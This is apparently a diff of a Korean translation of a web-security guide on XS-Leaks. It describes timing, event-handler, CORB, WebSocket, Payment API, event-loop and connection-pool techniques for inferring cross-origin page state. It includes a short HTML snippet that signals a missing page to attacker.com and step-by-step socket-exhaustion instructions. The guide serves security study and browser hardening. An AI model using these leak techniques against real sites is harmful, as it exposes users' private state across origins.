- **팝업**: **`window.open`** 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP에 따라 메서드 및 속성과 상호작용할 수 있는 **창 핸들**을 제공합니다. 팝업은 종종 단일 로그인에서 사용되며, 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 최신 브라우저는 특정 사용자 작업에만 팝업 생성을 제한합니다.
- **HTML 요소**: HTML은 **교차 출처 리소스 포함**을 위한 다양한 요소를 제공하며, 스타일시트, 이미지 또는 스크립트와 같은 비HTML 리소스를 요청하도록 브라우저를 강제합니다. 이를 위한 잠재적인 HTML 요소 목록은 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)에서 확인할 수 있습니다.
- **프레임**: **iframe**, **object**, **embed**와 같은 요소는 공격자의 페이지에 HTML 리소스를 직접 포함할 수 있습니다. 페이지가 **프레임 보호가 없으면**, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있습니다.
- **팝업**: **`window.open`** 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP에 따라 메서드 및 속성과 상호작용할 수 있는 **창 핸들**을 제공합니다. 팝업은 종종 단일 로그인에서 사용되며, 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 현대 브라우저는 특정 사용자 작업에만 팝업 생성을 제한합니다.
- **JavaScript 요청**: JavaScript는 **XMLHttpRequests** 또는 **Fetch API**를 사용하여 대상 리소스에 직접 요청할 수 있습니다. 이러한 방법은 HTTP 리디렉션을 따르도록 선택하는 등 요청에 대한 정밀한 제어를 제공합니다.
### 유출 기술
- **이벤트 핸들러**: XS-Leaks에서 고전적인 유출 기술로, **onload** 및 **onerror**와 같은 이벤트 핸들러가 리소스 로딩 성공 또는 실패에 대한 통찰력을 제공합니다.
- **오류 메시지**: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지에서 직접 또는 그 존재와 부재를 구별하여 유출 정보를 제공할 수 있습니다.
- **전역 한계**: 메모리 용량이나 다른 강제 브라우저 한계와 같은 브라우저의 물리적 제한은 임계값에 도달했을 때 신호를 보낼 수 있으며, 이는 유출 기술로 작용할 수 있습니다.
- **이벤트 핸들러**: 리소스 로딩 성공 또는 실패에 대한 통찰력을 제공하는 **onload** 및 **onerror**와 같은 이벤트 핸들러에서의 고전적인 유출 기술.
- **오류 메시지**: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지에서 직접 또는 존재 여부에 따라 유출 정보를 제공할 수 있습니다.
- **전역 한계**: 메모리 용량 또는 기타 강제 브라우저 한계와 같은 브라우저의 물리적 제한은 임계값에 도달했을 때 신호를 보낼 수 있으며, 이는 유출 기술로 작용합니다.
- **전역 상태**: 브라우저의 **전역 상태**(예: History 인터페이스)와의 감지 가능한 상호작용을 악용할 수 있습니다. 예를 들어, 브라우저의 기록에 있는 **항목 수**는 교차 출처 페이지에 대한 단서를 제공할 수 있습니다.
- **성능 API**: 이 API는 **현재 페이지의 성능 세부정보**를 제공하며, 문서 및 로드된 리소스에 대한 네트워크 타이밍을 포함하여 요청된 리소스에 대한 추론을 가능하게 합니다.
- **읽기 가능한 속성**: 일부 HTML 속성은 **교차 출처에서 읽을 수 있으며**, 유출 기술로 사용될 수 있습니다. 예를 들어, `window.frame.length` 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임의 수를 계산할 수 있게 합니다.
- **읽기 가능한 속성**: 일부 HTML 속성은 **교차 출처에서 읽을 수 있으며**, 유출 기술로 사용될 수 있습니다. 예를 들어, `window.frame.length` 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임 수를 계산할 수 있게 합니다.
## XSinator 도구 및 논문
XSinator는 **여러 알려진 XS-Leaks**에 대해 브라우저를 **검사하는 자동 도구**로, 그 논문에서 설명됩니다: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator는 **여러 알려진 XS-Leaks**에 대해 브라우저를 **검사하는 자동 도구**입니다. 이 도구에 대한 논문은 [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)에서 확인할 수 있습니다.
도구에 **접근할 수 있는 곳**: [**https://xsinator.com/**](https://xsinator.com/)
도구에 **접근하려면** [**https://xsinator.com/**](https://xsinator.com/)를 방문하세요.
> [!WARNING]
> **제외된 XS-Leaks**: XSinator의 다른 유출에 간섭할 수 있는 **서비스 워커**에 의존하는 XS-Leaks는 제외해야 했습니다. 또한, 특정 웹 애플리케이션의 잘못된 구성 및 버그에 의존하는 XS-Leaks도 **제외하기로 선택했습니다**. 예를 들어, CrossOrigin Resource Sharing (CORS) 잘못된 구성, postMessage 유출 또는 Cross-Site Scripting. 또한, 느리고 시끄럽고 부정확한 경우가 많기 때문에 시간 기반 XS-Leaks도 제외했습니다.
> **제외된 XS-Leaks**: XSinator의 다른 유출에 간섭할 수 있는 **서비스 워커**에 의존하는 XS-Leaks는 제외해야 했습니다. 또한, 특정 웹 애플리케이션의 잘못된 구성 및 버그에 의존하는 XS-Leaks도 **제외하기로 선택했습니다**. 예를 들어, Cross-Origin Resource Sharing (CORS) 잘못된 구성, postMessage 유출 또는 Cross-Site Scripting. 또한, 느리고 시끄럽고 부정확한 경우가 많기 때문에 시간 기반 XS-Leaks도 제외했습니다.
## **타이밍 기반 기술**
@ -57,7 +57,7 @@ XSinator는 **여러 알려진 XS-Leaks**에 대해 브라우저를 **검사하
**시계**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API는 개발자가 고해상도 타이밍 측정을 얻을 수 있게 합니다.\
공격자가 암묵적인 시계를 만들기 위해 남용할 수 있는 API의 수가 상당히 많습니다: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS 애니메이션 등.\
자세한 정보는: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)에서 확인할 수 있습니다.
자세한 정보는 [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)에서 확인할 수 있습니다.
## 이벤트 핸들러 기술
@ -66,14 +66,14 @@ XSinator는 **여러 알려진 XS-Leaks**에 대해 브라우저를 **검사하
- **포함 방법**: 프레임, HTML 요소
- **감지 가능한 차이**: 상태 코드
- **자세한 정보**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **요약**: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 리소스가 성공적으로/실패적으로 로드되면 트리거되며 상태 코드를 파악할 수 있습니다.
- **요약**: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 리소스가 성공적으로/실패적으로 로드되면 트리거되며, 상태 코드를 파악할 수 있습니다.
- **코드 예제**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
xs-search/cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
코드 예제는 **JS**에서 스크립트 객체를 **로드하려고 시도하지만**, **다른 태그**(예: 객체, 스타일시트, 이미지, 오디오)도 사용할 수 있습니다. 또한, **태그를 직접 주입**하고 태그 내부에 `onload` 및 `onerror` 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 대신).
코드 예제는 **JS**에서 스크립트 객체를 **로드하려고 시도하지만**, **다른 태그**(예: 객체, 스타일시트, 이미지, 오디오)도 사용할 수 있습니다. 또한, **태그를 직접** 주입하고 태그 내부에 `onload` 및 `onerror` 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 대신).
이 공격의 스크립트 없는 버전도 있습니다:
```html
@ -81,15 +81,15 @@ xs-search/cookie-bomb-+-onerror-xs-leak.md
<object data="//attacker.com/?error"></object>
</object>
```
이 경우 `example.com/404`가 발견되지 않으면 `attacker.com/?error`가 로드됩니다.
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.
### Onload Timing
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Timing (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 그러나 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)와 같은 다른 시계를 사용할 수 있으며, 이는 50ms 이상 실행되는 작업을 식별할 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 또 다른 예는:
- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in:
{{#ref}}
xs-search/performance.now-example.md
@ -97,7 +97,7 @@ xs-search/performance.now-example.md
#### Onload Timing + Forced Heavy Task
이 기술은 이전 기술과 유사하지만, **attacker**는 **긍정적 또는 부정적 응답**이 있을 때 **상당한 시간**이 걸리도록 **강제** 조치를 취하고 그 시간을 측정합니다.
이 기술은 이전 기술과 유사하지만, **공격자**는 **긍정적 또는 부정적 응답**이 있을 때 **상당한 시간**이 걸리도록 **강제**하는 작업을 수행하고 그 시간을 측정합니다.
{{#ref}}
xs-search/performance.now-+-force-heavy-task.md
@ -106,22 +106,22 @@ xs-search/performance.now-+-force-heavy-task.md
### unload/beforeunload Timing
- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 다른 시계를 사용할 수 있습니다.
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
리소스를 가져오는 데 걸리는 시간은 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 및 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 이벤트를 활용하여 측정할 수 있습니다. **`beforeunload`** 이벤트는 브라우저가 새 페이지로 이동하려고 할 때 발생하고, **`unload`** 이벤트는 실제로 탐색이 이루어질 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 **브라우저가 리소스를 가져오는 데 소요된 시간**을 결정할 수 있습니다.
리소스를 가져오는 데 걸린 시간은 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 및 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 이벤트를 활용하여 측정할 수 있습니다. **`beforeunload`** 이벤트는 브라우저가 새 페이지로 이동하기 직전에 발생하며, **`unload`** 이벤트는 실제로 탐색이 이루어질 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 **브라우저가 리소스를 가져오는 데 소요된 시간**을 결정할 수 있습니다.
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 다른 시계를 사용할 수 있습니다.
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)이 없는 경우, 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 공격자가 측정할 수 있는 것으로 관찰되었습니다. 이 측정은 일반적으로 iframe의 `onload` 핸들러가 리소스 로드 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인한 변동성을 우회하기 위해 공격자는 `<iframe>` 내에서 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행과 같은 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정을 용이하게 합니다.
[프레이밍 보호](https://xsleaks.dev/docs/defenses/opt-in/xfo/)가 없는 경우, 공격자는 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 측정할 수 있습니다. 이 측정은 일반적으로 iframe의 `onload` 핸들러가 리소스 로딩 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인해 발생하는 변동성을 우회하기 위해, 공격자는 `<iframe>` 내에서 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행과 같은 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정을 용이하게 합니다.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -131,19 +131,19 @@ xs-search/performance.now-+-force-heavy-task.md
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary**: 페이지에 올바른 콘텐츠에 접근할 때 오류가 발생하고, 어떤 콘텐츠에 접근할 때 올바르게 로드되도록 할 수 있다면, 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.
- **Summary**: 페이지에 올바른 콘텐츠에 접근할 때 오류가 발생하고, 어떤 콘텐츠에 접근할 때는 올바르게 로드되도록 할 수 있다면, 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.
- **Code Example**:
비밀 콘텐츠가 포함된 페이지를 **Iframe** 안에 **삽입**할 수 있다고 가정해 보겠습니다.
피해자가 **Iframe**을 사용하여 "_**flag**_"가 포함된 파일을 **검색**하도록 만들 수 있습니다(예: CSRF를 악용). Iframe 내부에서 _**onload event**_는 **항상 최소한 한 번은 실행됩니다**. 그런 다음, **URL**의 **iframe**을 변경할 수 있지만 URL의 **hash**의 **내용**만 변경합니다.
피해자가 "_**flag**_"가 포함된 파일을 **Iframe**을 사용하여 검색하도록 **유도**할 수 있습니다(예: CSRF를 악용). Iframe 안에서는 _**onload event**_가 **항상 최소한 한 번은 실행됩니다**. 그런 다음, **URL**의 **iframe**을 변경할 수 있지만, URL의 **hash**의 **내용**만 변경합니다.
예를 들어:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
첫 번째 URL이 **성공적으로 로드되었다면**, URL의 **hash** 부분을 **변경할 때** **onload** 이벤트는 **다시 트리거되지 않습니다**. 그러나 페이지가 **로드**할 때 어떤 종류의 **오류**가 발생했다면, **onload** 이벤트는 **다시 트리거됩니다**.
첫 번째 URL이 **성공적으로 로드되었다면**, **URL의 hash** 부분을 **변경할 때** **onload** 이벤트는 **다시 트리거되지 않습니다**. 그러나 페이지가 **로드**할 때 어떤 종류의 **오류**가 발생했다면, **onload** 이벤트는 **다시 트리거됩니다**.
그런 다음, **정상적으로** 로드된 페이지와 접근할 때 **오류**가 있는 페이지를 **구별**할 수 있습니다.
@ -164,10 +164,10 @@ xs-search/javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)**는 웹 페이지가 특정 민감한 교차 출처 리소스를 로드하는 것을 방지하여 **Spectre**와 같은 공격으로부터 보호하는 보안 조치입니다. 그러나 공격자는 그 보호 동작을 악용할 수 있습니다. **CORB**의 적용을 받는 응답이 `nosniff`와 `2xx` 상태 코드가 있는 _**CORB 보호**_ `Content-Type`을 반환하면, **CORB**는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 **상태 코드**(성공 또는 오류를 나타냄)와 `Content-Type`(CORB에 의해 보호되는지 여부를 나타냄)의 조합을 추론할 수 있어 잠재적인 정보 유출로 이어질 수 있습니다.
- **Summary**: **Cross-Origin Read Blocking (CORB)**는 **Spectre**와 같은 공격으로부터 보호하기 위해 특정 민감한 교차 출처 리소스의 로드를 방지하는 보안 조치입니다. 그러나 공격자는 그 보호 동작을 악용할 수 있습니다. **CORB**의 적용을 받는 응답이 `nosniff`와 `2xx` 상태 코드가 있는 _**CORB 보호**_ `Content-Type`을 반환하면, **CORB**는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 **상태 코드**(성공 또는 오류를 나타냄)와 `Content-Type`(CORB에 의해 보호되는지 여부를 나타냄)의 조합을 추론할 수 있어 잠재적인 정보 유출로 이어질 수 있습니다.
- **Code Example**:
더 많은 정보에 대한 링크를 확인하여 공격에 대한 추가 정보를 확인하십시오.
더 많은 정보는 공격에 대한 링크를 확인하세요.
### onblur
@ -177,7 +177,7 @@ xs-search/javascript-execution-xs-leak.md
- **Summary**: id 또는 name 속성에서 민감한 데이터를 유출합니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
페이지를 **iframe** 안에 **로드**하고 **`#id_value`**를 사용하여 페이지가 지정된 요소에 **포커스**를 맞추도록 할 수 있습니다. 그런 다음 **`onblur`** 신호가 트리거되면 ID 요소가 존재합니다.\
**iframe** 안에 페이지를 **로드**하고 **`#id_value`**를 사용하여 페이지가 지정된 요소에 **포커스**를 맞추도록 할 수 있습니다. 그런 다음 **`onblur`** 신호가 트리거되면 ID 요소가 존재합니다.\
**`portal`** 태그로 동일한 공격을 수행할 수 있습니다.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -200,9 +200,9 @@ xs-search/javascript-execution-xs-leak.md
- **Summary**: WebSocket 연결 한계를 소진하여 교차 출처 페이지의 WebSocket 연결 수를 유출합니다.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
대상 페이지가 사용하는 **WebSocket 연결**의 수를 식별할 수 있습니다. 이는 공격자가 애플리케이션 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 유출할 수 있게 합니다.
대상 페이지가 사용하는 **WebSocket 연결**의 수를 식별할 수 있습니다. 이를 통해 공격자는 애플리케이션 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 유출할 수 있습니다.
하나의 **origin**이 **최대 WebSocket** 연결 객체 수를 사용하고 있다면, 연결 상태와 관계없이 **새 객체를 생성하면 JavaScript 예외가 발생합니다**. 이 공격을 실행하기 위해 공격자 웹사이트는 대상 웹사이트를 팝업 또는 iframe에서 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. **던져진 예외의 수**는 **대상 웹사이트** 창에서 사용된 **WebSocket 연결의 수**입니다.
하나의 **출처**가 **최대 WebSocket** 연결 객체 수를 사용하고 있다면, 연결 상태와 관계없이 **새 객체의 생성은 JavaScript 예외를 발생시킵니다**. 이 공격을 실행하기 위해 공격자 웹사이트는 대상 웹사이트를 팝업 또는 iframe에서 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. **던져진 예외의 수**는 **대상 웹사이트** 창에서 사용된 **WebSocket 연결의 수**입니다.
### Payment API
@ -214,7 +214,7 @@ xs-search/javascript-execution-xs-leak.md
이 XS-Leak는 공격자가 **교차 출처 페이지가 결제 요청을 시작할 때** 감지할 수 있게 합니다.
**결제 요청**은 한 번에 하나만 활성화될 수 있기 때문에, 대상 웹사이트가 Payment Request API를 사용하고 있다면, 이 API를 사용하려는 추가 시도는 실패하게 되고 **JavaScript 예외**를 발생시킵니다. 공격자는 **주기적으로 Payment API UI를 표시하려고 시도**하여 이를 악용할 수 있습니다. 하나의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용하고 있다는 것을 알 수 있습니다. 공격자는 생성 후 즉시 UI를 닫아 이러한 주기적인 시도를 숨길 수 있습니다.
**결제 요청은 한 번에 하나만 활성화될 수** 있기 때문에, 대상 웹사이트가 Payment Request API를 사용하고 있다면, 이 API를 사용하려는 추가 시도는 실패하고 **JavaScript 예외**를 발생시킵니다. 공격자는 **주기적으로 Payment API UI를 표시하려고 시도**하여 이를 악용할 수 있습니다. 하나의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용하고 있다는 것을 알 수 있습니다. 공격자는 UI 생성 후 즉시 닫아 이러한 주기적인 시도를 숨길 수 있습니다.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -228,7 +228,7 @@ xs-search/javascript-execution-xs-leak.md
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 동시성 모델에서 작동하며, 이는 **한 번에 하나의 작업만 실행할 수 있음을 의미합니다**. 이 특성은 **다른 출처의 코드 실행 시간을 측정하는 데 악용될 수 있습니다**. 공격자는 고정 속성을 가진 이벤트를 지속적으로 전송하여 이벤트 루프에서 자신의 코드 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀에 비어 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 전송하는 경우, **공격자는 자신의 작업 실행 지연을 관찰하여 이러한 외부 이벤트의 실행 시간을 추론할 수 있습니다**. 지연을 모니터링하는 이 방법은 다른 출처의 코드 실행 시간을 드러낼 수 있으며, 잠재적으로 민감한 정보를 노출할 수 있습니다.
JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 동시성 모델에서 작동하며, 이는 **한 번에 하나의 작업만 실행할 수 있음을 의미합니다**. 이 특성은 **다른 출처의 코드가 실행되는 데 걸리는 시간을 측정하는 데 악용될 수 있습니다**. 공격자는 고정 속성을 가진 이벤트를 지속적으로 전송하여 이벤트 루프에서 자신의 코드의 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀에 빈 공간이 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 전송하는 경우, **공격자는 자신의 작업 실행 지연을 관찰하여 이러한 외부 이벤트가 실행되는 데 걸리는 시간을 추론할 수 있습니다**. 이벤트 루프의 지연을 모니터링하는 이 방법은 다른 출처의 코드 실행 시간을 드러내어 민감한 정보를 노출할 수 있습니다.
> [!WARNING]
> 실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드함으로써 가능합니다.
@ -238,10 +238,10 @@ JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** 웹 작업의 실행 시간을 측정하는 한 가지 방법은 스레드의 이벤트 루프를 의도적으로 차단한 다음 **이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간**을 측정하는 것입니다. 차단 작업(예: 긴 계산 또는 동기 API 호출)을 이벤트 루프에 삽입하고, 후속 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써 차단 기간 동안 이벤트 루프에서 실행 중인 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프가 단일 스레드로 작동하여 작업이 순차적으로 실행되는 특성을 활용하며, 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.
- **Summary:** 웹 작업의 실행 시간을 측정하는 한 가지 방법은 스레드의 이벤트 루프를 의도적으로 차단한 다음 **이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것입니다**. 차단 작업(예: 긴 계산 또는 동기 API 호출)을 이벤트 루프에 삽입하고, 후속 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써, 차단 기간 동안 이벤트 루프에서 실행되고 있던 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프가 단일 스레드로 작업을 순차적으로 실행하는 특성을 활용하며, 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.
- **Code Example**:
이벤트 루프를 잠금으로써 실행 시간을 측정하는 기술의 중요한 장점은 **사이트 격리**를 우회할 수 있는 잠재력입니다. **사이트 격리**는 서로 다른 웹사이트를 별도의 프로세스로 분리하여 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 접근하는 것을 방지하는 보안 기능입니다. 그러나 공유 이벤트 루프를 통해 다른 출처의 실행 시간을 영향을 미침으로써 공격자는 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 대한 직접적인 접근에 의존하지 않고, 오히려 해당 출처의 활동이 공유 이벤트 루프에 미치는 영향을 관찰하여 **사이트 격리**에 의해 설정된 보호 장벽을 회피합니다.
이벤트 루프를 잠금으로써 실행 시간을 측정하는 기술의 중요한 장점은 **사이트 격리**를 우회할 수 있는 잠재력입니다. **사이트 격리**는 서로 다른 웹사이트를 별도의 프로세스로 분리하여 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 접근하는 것을 방지하는 보안 기능입니다. 그러나 공격자는 공유 이벤트 루프를 통해 다른 출처의 실행 타이밍에 영향을 미침으로써 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 대한 직접적인 접근에 의존하지 않고, 공유 이벤트 루프에서 해당 출처의 활동이 미치는 영향을 관찰하여 **사이트 격리**에 의해 설정된 보호 장벽을 피할 수 있습니다.
> [!WARNING]
> 실행 시간 측정에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드함으로써 가능합니다.
@ -251,7 +251,7 @@ JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** 공격자는 모든 소켓을 1개를 제외하고 잠그고, 대상 웹을 로드하며 동시에 다른 페이지를 로드할 수 있습니다. 마지막 페이지가 로드되기 시작하는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.
- **Summary:** 공격자는 1개를 제외한 모든 소켓을 잠그고, 대상 웹을 로드하며 동시에 다른 페이지를 로드할 수 있습니다. 마지막 페이지가 로드되기 시작하는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.
- **Code Example**:
{{#ref}}
@ -261,9 +261,9 @@ xs-search/connection-pool-example.md
브라우저는 서버 통신을 위해 소켓을 사용하지만, 운영 체제와 하드웨어의 제한된 리소스 때문에 **브라우저는 동시 소켓 수에 제한을 두어야 합니다**. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:
1. 브라우저의 소켓 한도를 확인합니다. 예를 들어, 256개의 전역 소켓.
2. 255개의 소켓을 오랜 시간 동안 점유하기 위해 다양한 호스트에 255개의 요청을 시작하여 연결을 열어 두고 완료하지 않습니다.
